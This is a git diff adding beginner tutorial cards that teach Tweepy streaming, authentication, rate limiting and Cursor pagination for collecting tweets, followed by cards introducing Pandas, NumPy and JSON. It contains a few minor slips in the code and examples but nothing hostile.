+How do companies advertise their products? How often do they attack the products of other companies? What kind of feelings are they trying to conjure in relation to their products? Seeing a word cloud of their most common words is an easy way to help us paint a picture of a company's marketing on Twitter.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/1.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/1.md
new file mode 100644
index 00000000..cac38b29
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/1.md
@@ -0,0 +1,41 @@
+# Continue from Streaming Live Tweets
+
+In this part of the activity, we will now continue writing the code for the Tweepy application. Start off by importing two things to the Python file named **tweepy_streamer.py** which we will use in this activity to make it more streamlined and modular:
+
+```python
+from tweepy import API
+from tweepy import Cursor
+```
+
+To follow this activity, here are two classes we will start with.
+
+The `StdOutListener` class is a generic class that outputs any tweets received to a given filename `fetched_tweets_filename`.
+
+```python
+# # # # TWITTER STREAM LISTENER # # # #
+class StdOutListener(StreamListener):
+ """
+ This is a basic listener that just prints received tweets to stdout.
+ """
+ def __init__(self, fetched_tweets_filename):
+ self.fetched_tweets_filename = fetched_tweets_filename
+
+ def on_data(self, data):
+ try:
+ print(data)
+ with open(self.fetched_tweets_filename, 'a') as tf:
+ tf.write(data)
+ return True
+ except BaseException as e:
+ print("Error on_data %s" % str(e))
+ return True
+
+
+ def on_error(self, status):
+ print(status)
+```
+
+
+
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/10.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/10.md
new file mode 100644
index 00000000..d6cf62a9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/10.md
@@ -0,0 +1,40 @@
+# Cursor class for a Specific User
+
+Instead of extracting our own tweets, we now want to extract tweets from a specific Twitter user. How can we can modify our function to allow us to specify that information?
+
+We do that by instantiating a Twitter client object to allow the person who is using this code to specify a user that they can get the timeline tweets from.
+
+To do this we need to put in a default argument of `None`:
+
+```python
+class TwitterClient():
+ def __init__(self, twitter_user=None): # added default parameter twitter_user=None
+ self.auth = TwitterAuthenticator().authenticate_twitter_app()
+ self.twitter_client = API(self.auth)
+ self.twitter_user = twitter_user
+```
+
+Then to specify a user, we need to add `id` in the `get_user_timeline_tweets` function for loop:
+
+```python
+ def get_user_timeline_tweets(self, num_tweets):
+ tweets = []
+ for tweet in Cursor(self.twitter_client.user_timeline, id=self.twitter_user).items(num_tweets): # added id parameter for twitter user of interest here
+ tweets.append(tweet)
+ return tweets
+```
+
+> Notice the id argument in the Cursor call.
+
+Now, let's test that it works:
+
+Under `if _name _ == '__main__':` for the TwitterClient call, type in `'PyCon'` as the argument. The argument can be the username of any Twitter user:
+
+```python
+ twitter_client = TwitterClient('pycon')
+ print(twitter_client.get_user_timeline_tweets(1))
+```
+
+If this works properly, you will see the recent tweets from @Nike's timeline showing on the text field.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/11.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/11.md
new file mode 100644
index 00000000..edcb4332
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/11.md
@@ -0,0 +1,23 @@
+# Using a Cursor to get a Friend List
+
+We can add the following functions to our `TwitterClient` definition to get a number of friends of a user from Twitter:
+
+```python
+ def get_friend_list(self, num_friends):
+ friend_list = []
+ for friend in Cursor(self.twitter_client.friends, id=self.twitter_user).items(num_friends):
+ friend_list.append(friend)
+ return friend_list
+```
+
+We define a Cursor object to be able to obtain a list of a user's friends. (notice the usage of `self.twitter_client.friends`, just like how we used `self.twitter_client.user_timeline`.) Just like when we were getting user timeline tweets, the `items` attribute allows us to iterate through our friends. We can also pass in a parameter `num_friends` to define a number of friends needed. We keep track of a friend list, append each friend to this list, and return it.
+
+```python
+ def get_home_timeline_tweets(self, num_tweets):
+ home_timeline_tweets = []
+ for tweet in Cursor(self.twitter_client.home_timeline, id=self.twitter_user).items(num_tweets):
+ home_timeline_tweets.append(tweet)
+ return home_timeline_tweets
+```
+
+This pattern is very similar to the previous method to get a friend list.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/12.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/12.md
new file mode 100644
index 00000000..1aedb801
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/12.md
@@ -0,0 +1,42 @@
+# Using a Cursor to get Timeline Tweets
+
+Following a similar pattern, we can acquire all of a user's timeline tweets with the following function:
+
+
+```python
+def get_home_timeline_tweets(self, num_tweets):
+ home_timeline_tweets = []
+ for tweet in Cursor(self.twitter_client.home_timeline, id=self.twitter_user).items(num_tweets):
+ home_timeline_tweets.append(tweet)
+ return home_timeline_tweets
+```
+
+Here is our full definition of the `TwitterClient` class for your reference:
+
+```python
+class TwitterClient():
+ def __init__(self, twitter_user=None):
+ self.auth = TwitterAuthenticator().authenticate_twitter_app()
+ self.twitter_client = API(self.auth)
+
+ self.twitter_user = twitter_user
+
+ def get_user_timeline_tweets(self, num_tweets):
+ tweets = []
+ for tweet in Cursor(self.twitter_client.user_timeline, id=self.twitter_user).items(num_tweets):
+ tweets.append(tweet)
+ return tweets
+
+ def get_friend_list(self, num_friends):
+ friend_list = []
+ for friend in Cursor(self.twitter_client.friends, id=self.twitter_user).items(num_friends):
+ friend_list.append(friend)
+ return friend_list
+
+ def get_home_timeline_tweets(self, num_tweets):
+ home_timeline_tweets = []
+ for tweet in Cursor(self.twitter_client.home_timeline, id=self.twitter_user).items(num_tweets):
+ home_timeline_tweets.append(tweet)
+ return home_timeline_tweets
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/2.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/2.md
new file mode 100644
index 00000000..6a75fe28
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/2.md
@@ -0,0 +1,32 @@
+# The TwitterStreamer Class
+
+The `TwitterStreamer` class handles the authentication with Twitter and connecting to Twitter's Streaming API. It then connects the stream with the listener.
+
+```python
+class TwitterStreamer():
+ """
+ Class for streaming and processing live tweets.
+ """
+ def __init__(self):
+ pass
+
+ def stream_tweets(self, fetched_tweets_filename, hash_tag_list):
+ # This handles Twitter authetification and the connection to Twitter Streaming API
+ listener = StdOutListener(fetched_tweets_filename)
+ auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
+ auth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
+ stream = Stream(auth, listener)
+
+ # This line filter Twitter Streams to capture data by the keywords:
+ stream.filter(track=hash_tag_list)
+```
+
+
+
+You can think of this process as analogous as going to Costco to buy groceries. (or any other store that requires membership) When entering Costco, we have to have a membership card in order to get in. After we enter, there is an endless amount of goods we can purchase, but we only want to purchase certain goods on our shopping list, not everything. We then leave Costco with the groceries we wanted.
+
+Similarly, when getting access to tweets from Twitter's API, we first have to prove we are authorized to access this data with our keys and tokens. Once we have access, we have access to all tweets with our stream object, which takes as parameters our authorization and our listener. Our authorization in this analogy would be our membership card. Our listener would process all tweets into a file, so in this case, our listener would be our shopping cart. Therefore the stream object as a whole would be analogous to our access to all the goods in Costco, just like how through the stream object, we have access to all of Twitter data.
+
+However, just like our shopping list, we don't want to get all tweets possible, only ones that fit our "shopping list" of hashtags. We can filter out the tweets we don't want by using `stream.filter()`. The tweets that contain our given hashtags will go in the file, our "shopping cart" of tweets.
+
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/3.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/3.md
new file mode 100644
index 00000000..47eca6e9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/3.md
@@ -0,0 +1,19 @@
+# Main Code
+
+After defining those two classes, it's time to use them! We'll define our hashtag list (Note that it does not have to be hashtags, it can be any text you want tweets to contain.)
+
+We'll also define a filename where we want our tweets to be stored, for our `StdOutListener`.
+
+Then we initialize an instance of the `TwitterStreamer`, and start streaming tweets using the given filename and hashtag list.
+
+```python
+if __name__ == '__main__':
+
+ # Authenticate using config.py and connect to Twitter Streaming API.
+ hash_tag_list = ["donald trump", "hillary clinton", "barack obama", "bernie sanders"]
+ fetched_tweets_filename = "tweets.txt"
+
+ twitter_streamer = TwitterStreamer()
+ twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/4.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/4.md
new file mode 100644
index 00000000..f0a85b7e
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/4.md
@@ -0,0 +1,55 @@
+# Code Review
+
+Here is the entire code from the last three parts. Please review the whole code before proceeding.
+
+```python
+class TwitterStreamer():
+ """
+ Class for streaming and processing live tweets.
+ """
+ def __init__(self):
+ pass
+
+ def stream_tweets(self, fetched_tweets_filename, hash_tag_list):
+ # This handles Twitter authetification and the connection to Twitter Streaming API
+ listener = StdOutListener(fetched_tweets_filename)
+ auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
+ auth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
+ stream = Stream(auth, listener)
+
+ # This line filter Twitter Streams to capture data by the keywords:
+ stream.filter(track=hash_tag_list)
+
+
+# # # # TWITTER STREAM LISTENER # # # #
+class StdOutListener(StreamListener):
+ """
+ This is a basic listener that just prints received tweets to stdout.
+ """
+ def __init__(self, fetched_tweets_filename):
+ self.fetched_tweets_filename = fetched_tweets_filename
+
+ def on_data(self, data):
+ try:
+ print(data)
+ with open(self.fetched_tweets_filename, 'a') as tf:
+ tf.write(data)
+ return True
+ except BaseException as e:
+ print("Error on_data %s" % str(e))
+ return True
+
+
+ def on_error(self, status):
+ print(status)
+
+if __name__ == '__main__':
+
+ # Authenticate using config.py and connect to Twitter Streaming API.
+ hash_tag_list = ["donald trump", "hillary clinton", "barack obama", "bernie sanders"]
+ fetched_tweets_filename = "tweets.txt"
+
+ twitter_streamer = TwitterStreamer()
+ twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/5.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/5.md
new file mode 100644
index 00000000..64174c88
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/5.md
@@ -0,0 +1,31 @@
+# Making Authentication into Its Own Class
+
+
+
+You wouldn't want to let unauthorized users messing with your account,right? Here "authentication" comes into play. So lets integrate it right into our class so it becomes an integral part of all our requests to the Twitter API.
+
+Now let's abstract the Authentication into its own class so that we can use it to authenticate for other purposes in this activity. Abstraction makes our code more understandable even though we are doing some very complex things in the background.
+
+First, we are going to do some changes to the code we wrote in **tweepy_streamer.py**:
+
+- Change ```class StdOutListener(StreamListener)``` to ```class TwitterListener(StreamListener)```
+
+ - The TwitterListener
+
+- Remember to also change the function call also (Ex: ``` listener = StdOutListener(fetched_tweets_filename)``` to ``` listener = TwitterListener(fetched_tweets_filename)```)
+
+- We are also going to abstract the authentication into its own class. We are going to authenticate for other purposes, so it would be useful to put all authentication within its own class:
+
+ ```python
+ # # # # TWITTER AUTHENTICATOR # # # #
+ class TwitterAuthenticator():
+
+ def authenticate_twitter_app(self):
+ auth = OAuthHandler(twitter_credentials.CONSUMER_KEY, twitter_credentials.CONSUMER_SECRET)
+ auth.set_access_token(twitter_credentials.ACCESS_TOKEN, twitter_credentials.ACCESS_TOKEN_SECRET)
+ return auth
+ ```
+
+ - Abstraction allows implementation of various functions without needing to know how they work
+ - it helps make complex code look simpler by hiding the mechanism for certain functions
+ - OAuth plays a part here by processing the Twitter credentials and returning a token to ensure that only those who are authorized can access the account and data
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/6.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/6.md
new file mode 100644
index 00000000..f761e463
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/6.md
@@ -0,0 +1,25 @@
+# Changes to TwitterStreamer()
+
+Since we moved authentication into its own class `TwitterAuthenticator`, we have to make a couple changes to the `TwitterStreamer` class:
+
+- Our initializer must initialize an instance of a `TwitterAuthenticator` class.
+
+```python
+def __init__(self):
+ self.twitter_authenticator = TwitterAuthenticator()
+```
+
+The above setups our authentication (i.e shows Twitter our credentials, which in turn allow us to use their services).
+
+* Modify the `stream_tweets` function to authorize using the `TwitterAuthenticator` class.
+
+```python
+ def stream_tweets(self, fetched_tweets_filename, hash_tag_list):
+ listener = TwitterListener(fetched_tweets_filename)
+ auth = self.twitter_authenticator.authenticate_twitter_app() #added this line
+ stream = Stream(auth, listener)
+ # This line filter Twitter Streams to capture data by the keywords:
+ stream.filter(track=hash_tag_list)
+```
+
+Now `stream_tweets` will listen to tweets filtered by `hash_tag_list`, just like normal. The difference is that we are using the Authenticator object to simplify the authentication process rather than authenticating directly.
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/7.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/7.md
new file mode 100644
index 00000000..1d402be9
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/7.md
@@ -0,0 +1,24 @@
+# Rate Limiting
+
+Twitter API has a rate limit. Rate limiting of the standard API is primarily on a per-user basis — or more accurately described, per user access token. If a method allows for 15 requests per rate limit window, then it allows 15 requests per window per access token. In other words, Twitter only allows us to make a certain number of calls to its API during a specified window of time.
+
+[](https://camo.githubusercontent.com/7f6fbc96221ce63e1fa536394f6cf95439c87d56/68747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e253341414e643947635457565f4f346c574f6759787638636c627577337877654d6762435944454c48707a5a466d7054666d6e797a484c6c617059)
+
+
+
+> Think of it like a speed limit!
+
+When using application-only authentication, rate limits are determined globally for the entire application(so add up all our calls to the API in our code and that is how many total calls we make). If a method allows for 15 requests per rate limit window, then it allows you to make 15 requests per window. If we go over this limit, twitter will throw an error code of 420 for making too many requests and we might be locked out from accessing information.
+
+This is why it is worthwhile to check that the status message you are receiving is not an error message. Therefore, we are going to change the `on_error(self, status)` function to handle a rate limit error:
+
+```python
+def on_error(self, status):
+ if status == 420:
+ # Returning False on_data method in case rate limit occurs
+ return False
+```
+
+Rate limiting is regularly used to regulate the traffic on a network and it has many other uses as well. By limiting the traffic, it results in a better flow of data and increases the security of the network by protecting from attacks like DDoS (Distributed Denial of Service). In this case, the limit of requests for data is limited to 15 per user token.
+
+
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/8.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/8.md
new file mode 100644
index 00000000..7c1222b0
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/8.md
@@ -0,0 +1,49 @@
+# Extracting Timeline Tweets
+
+Now, we are going to make use of the cursor module that we imported as well as extract timeline tweets from your own timeline.
+
+Let's start by declaring a new class and constructor method:
+
+```python
+class TwitterClient():
+ def __init__(self, twitter_user=None):
+ self.auth = TwitterAuthenticator().authenticate_twitter_app()
+ self.twitter_client = API(self.auth)
+ self.twitter_user = twitter_user
+```
+
+>self.auth is a TwitterAuthenticator object (We use this to properly authenticate to communicate with the Twitter API)
+
+Note that in the fourth line, we use the API class provided by `tweepy` - the API class provides many methods that offer access to Twitter API "endpoints", or points where an application can access data from an API.
+
+ Now, let's make a function within this TwitterClient class that allows a user to get tweets:
+
+```python
+ def get_user_timeline_tweets(self, num_tweets):
+ tweets = [] # empty list for tweets
+ for tweet in Cursor(self.twitter_client.user_timeline).items(num_tweets):
+ tweets.append(tweet)
+ return tweets
+```
+
+> The paramenter num_tweets allows us to know how many tweets we actually want to show or extract.
+
+Given an API instance (in this case `twitter_client.user_timeline`), the Cursor class given by `tweepy` returns all of the tweets directly, without needing any processing. Without a Cursor the code to process all tweets would look more like this:
+
+```python
+page = 1
+tweets = []
+# note that this gets all tweets from a user's timeline
+def get_user_timeline_tweets(self):
+ while True:
+ timeline_tweets = api.user_timeline(page=page)
+ if timeline_tweets:
+ for tweet in timeline_tweets:
+ # process status here
+ tweets.append(status)
+ else:
+ # All done
+ break
+ page += 1 # next page
+```
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/9.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/9.md
new file mode 100644
index 00000000..f411ca41
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/9.md
@@ -0,0 +1,32 @@
+# Explaining Cursor
+
+Here is the original function for getting a user's timeline tweets:
+
+```python
+ def get_user_timeline_tweets(self, num_tweets):
+ tweets = [] # empty list for tweets
+ for tweet in Cursor(self.twitter_client.user_timeline).items(num_tweets):
+ tweets.append(tweet)
+ return tweets
+```
+
+There's a method for every `twitter_client` object of every `TwitterClient` with a user timeline functionality that allows you to specify a user to get the tweets off that user's timeline. We have not specified a user; therefore, it defaults to you and will get tweets from your own timeline. There's a parameter for the cursor object called `.items` that allows you to specify the amount of tweets to receive from the timeline.
+
+Now let's test what we have works so far.
+
+Under `if name _ == '__main__':` insert
+
+```python
+ twitter_client = TwitterClient()
+ print(twitter_client.get_user_timeline_tweets(1))
+```
+
+Comment out the following lines, as they are not necessary for this test:
+
+```python
+# twitter_streamer = TwitterStreamer()
+# twitter_streamer.stream_tweets(fetched_tweets_filename, hash_tag_list)
+```
+
+If it works properly, you should get the most recent tweets from your Twitter timeline.
+
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Act3README.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Act3README.md
new file mode 100644
index 00000000..ff9f58d2
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Act3README.md
@@ -0,0 +1,299 @@
+\# github_id
+
+20
+
+
+
+\# name
+
+Cousor and Pagination
+
+
+
+\# description
+
+Work in Tweepy application to make it more streamlined and modular
+
+
+
+\# summary
+
+Work on a the main code, better understanding of Cursor, begin using Cursor class to get friend list and timeline Tweets
+
+
+
+\# difficulty
+
+Medium
+
+
+
+\# image
+
+
+
+
+
+
+
+
+
+\# image_folder
+
+Module_Twitter_API/activities/Act3_Cursor and Pagination/Activity3Pics
+
+
+
+\# cards
+
+
+
+\## 1
+
+
+
+\### name
+
+1.md Continue from Streaming Live Tweets Card
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 2
+
+
+
+\### name
+
+2.md The twitterStreamer Class Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+\## 3
+
+
+
+\### name
+
+3.md Main Code Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 4
+
+
+
+\### name
+
+4.md Code review Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+\## 5
+
+
+
+\### name
+
+5.md Making Authentication Into its own Class Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 6
+
+
+
+\### name
+
+6.md Changes to TwitterStreamer() Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+\## 7
+
+
+
+\### name
+
+7.md Rate Limiting Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 8
+
+
+
+\### name
+
+8.md Extracting timeline Tweets Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+\## 9
+
+
+
+\### name
+
+9.md Explaning Cursor Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 10
+
+
+
+\### name
+
+10.md Cursor class for specific User Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+\## 11
+
+
+
+\### name
+
+11.md Using a Cursor to get a Friend List Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
+
+
+
+\## 12
+
+
+
+\### name
+
+12.md Using a Cursor to get a Timeline Tweets Card
+
+
+
+\### order
+
+12
+
+
+
+\### gems
+
+100
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/180px-Oauth_logo.svg.png b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/180px-Oauth_logo.svg.png
new file mode 100644
index 00000000..341ee667
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/180px-Oauth_logo.svg.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/68747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e253341414e643947635457565f4f346c574f6759787638636c627577337877654d6762435944454c48707a5a466d7054666d6e797a484c6c617059.jpeg b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/68747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e253341414e643947635457565f4f346c574f6759787638636c627577337877654d6762435944454c48707a5a466d7054666d6e797a484c6c617059.jpeg
new file mode 100644
index 00000000..5a1df1a7
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/68747470733a2f2f656e637279707465642d74626e302e677374617469632e636f6d2f696d616765733f713d74626e253341414e643947635457565f4f346c574f6759787638636c627577337877654d6762435944454c48707a5a466d7054666d6e797a484c6c617059.jpeg differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/pycon.png b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/pycon.png
new file mode 100644
index 00000000..5eecdb15
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/pycon.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/rate-limit-visual.png b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/rate-limit-visual.png
new file mode 100644
index 00000000..51f69931
Binary files /dev/null and b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity1_Cursor and Pagination/Activity3Pics/rate-limit-visual.png differ
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/1.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/1.md
new file mode 100644
index 00000000..9e6dfed1
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/1.md
@@ -0,0 +1,33 @@
+
+
+
+
+By the end of this activity, we'll be able to stream and analyze tweets from a specific user. We'll be using the tweepy library along with Pandas and Numpy to format our tweet data that we'll be analyzing later. So let's start by setting up Pandas and Numpy.
+
+
Setting up Pandas and Numpy
+Let's start by setting up Pandas🐼 and Numpy🔢.
+
+Pandas is a open-source and free to use python library/package that allows us to analysis and collect our data from various sources much more easily.1 We will use it to collate and analyse our tweets.
+
+
+
+Numpy is a free to use Python package that allows us to use more complicated and useful mathematical functions in our code.2 We will be using it for its "Array" type/class, which will allow us to add data that we can manipulate (in a efficient manner) to our Pandas "data frame" or table.
+
+
+
+If you don't have these installed, you'll have to run the following commands. "pip" installs these third party packages and makes them available to you when you use the import command.
+
+```bash
+pip install Pandas
+pip install Numpy
+```
+
+And then, In order to use Pandas and Numpy in your Python IDE ([Integrated Development Environment](https://en.wikipedia.org/wiki/Integrated_development_environment)), you need to *import* them first as `import pandas as pd ` and `import numpy as np `.
+
+***
+
+*Sources / Further Reading Section:*
+
+1) https://towardsdatascience.com/a-quick-introduction-to-the-pandas-python-library-f1b678f34673
+
+2) https://numpy.org/
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/2.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/2.md
new file mode 100644
index 00000000..7950af37
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/2.md
@@ -0,0 +1,35 @@
+# Insight into JSON
+
+We store all our tweets in a *"JSON"* format (this becomes important in the later cards). But what is JSON and why are we using it!
+
+
+JSON stands for **JavaScript Object Notation**. In essence, it is a standardized data writing format based on the way the programming language JavaScript stores its objects.
+
+Think of JSON as a compressed way of writing things like Morse code! It can be decoded and read by programs in such a way that makes it more intuitive to handle data.
+
+But what does "intuitive" mean here? You'll soon find out!
+
+#### Writing and Reading JSON
+
+***
+
+You always start a JSON file with brackets, with each data element seperated by a ```,```:
+
+```
+{
+ ...,
+}
+```
+
+You then add your data in a key-value format! You can think of the key as a category or type while the value is the actual data. Something like this: `"Key":"Value",` . You can also make lists in your JSON file!
+
+```
+{
+ "Name" : "John Smith",
+ "Age" : 23,
+ "College" : "UC Redding",
+ "Favorite Colleges" : ["UC Redding", "UC Santa Rosa" , "UC San Jose"],
+}
+```
+
+> Notice we implicitly specify the types of our data above by using ".." for strings and numbers without quotations as integers.
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/3.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/3.md
new file mode 100644
index 00000000..f8589ada
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/3.md
@@ -0,0 +1,47 @@
+#### Accessing Data
+
+Now to the reason why we use JSON: it allows us to interface with our data in a very simple way.
+
+Remember we access an array by giving the index or address of the value we want to access. In JSON we do the same thing but this time we can give it anything as an index (as long as it is a valid key)!
+
+```json
+{
+ "Name" : "John Smith",
+ "Age" : 23,
+ "College" : "UC Redding",
+ "Favorite Colleges" : ["UC Redding", "UC Santa Rosa" , "UC San Jose"],
+}
+```
+
+If we want John's age all we need to do is load the JSON values into a variable like `John_Data` and make the following access : ` John_Data["Age"]`.
+
+#### Nesting
+
+The final topic we will discuss here is nesting - yes you can have JSON in yo' JSON.
+
+
+
+Here is an example:
+
+```
+{
+ "Fruits": {
+ "Favorites" : ["Apples","Oranges"],
+ "Dislike" : ["Banana","Pineapple"]
+ },
+}
+```
+
+The way you would access them is quiet similar to what you say above(but with layers this time). You load it into a variable called Food. And access the `Dislike`s like this: `Food["Fruits"]["Dislike"]`
+
+#### Finishing Up
+
+Recall that we store our tweet data in groups like by text, source,etc. So it only makes sense to use a data storage format that complements this: JSON.
+
+
+
+***
+
+*Sources / Further Reading Section:*
+
+* https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/JSON
\ No newline at end of file
diff --git a/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/4.md b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/4.md
new file mode 100644
index 00000000..85381b09
--- /dev/null
+++ b/Computational-Social-Science-Twitter-Topic/Module2-Basic-Data-Visualizations/Activity2_Analyzing tweets/4.md
@@ -0,0 +1,17 @@
+
+
+
+
+
Getting the Twitter Client API
+
+
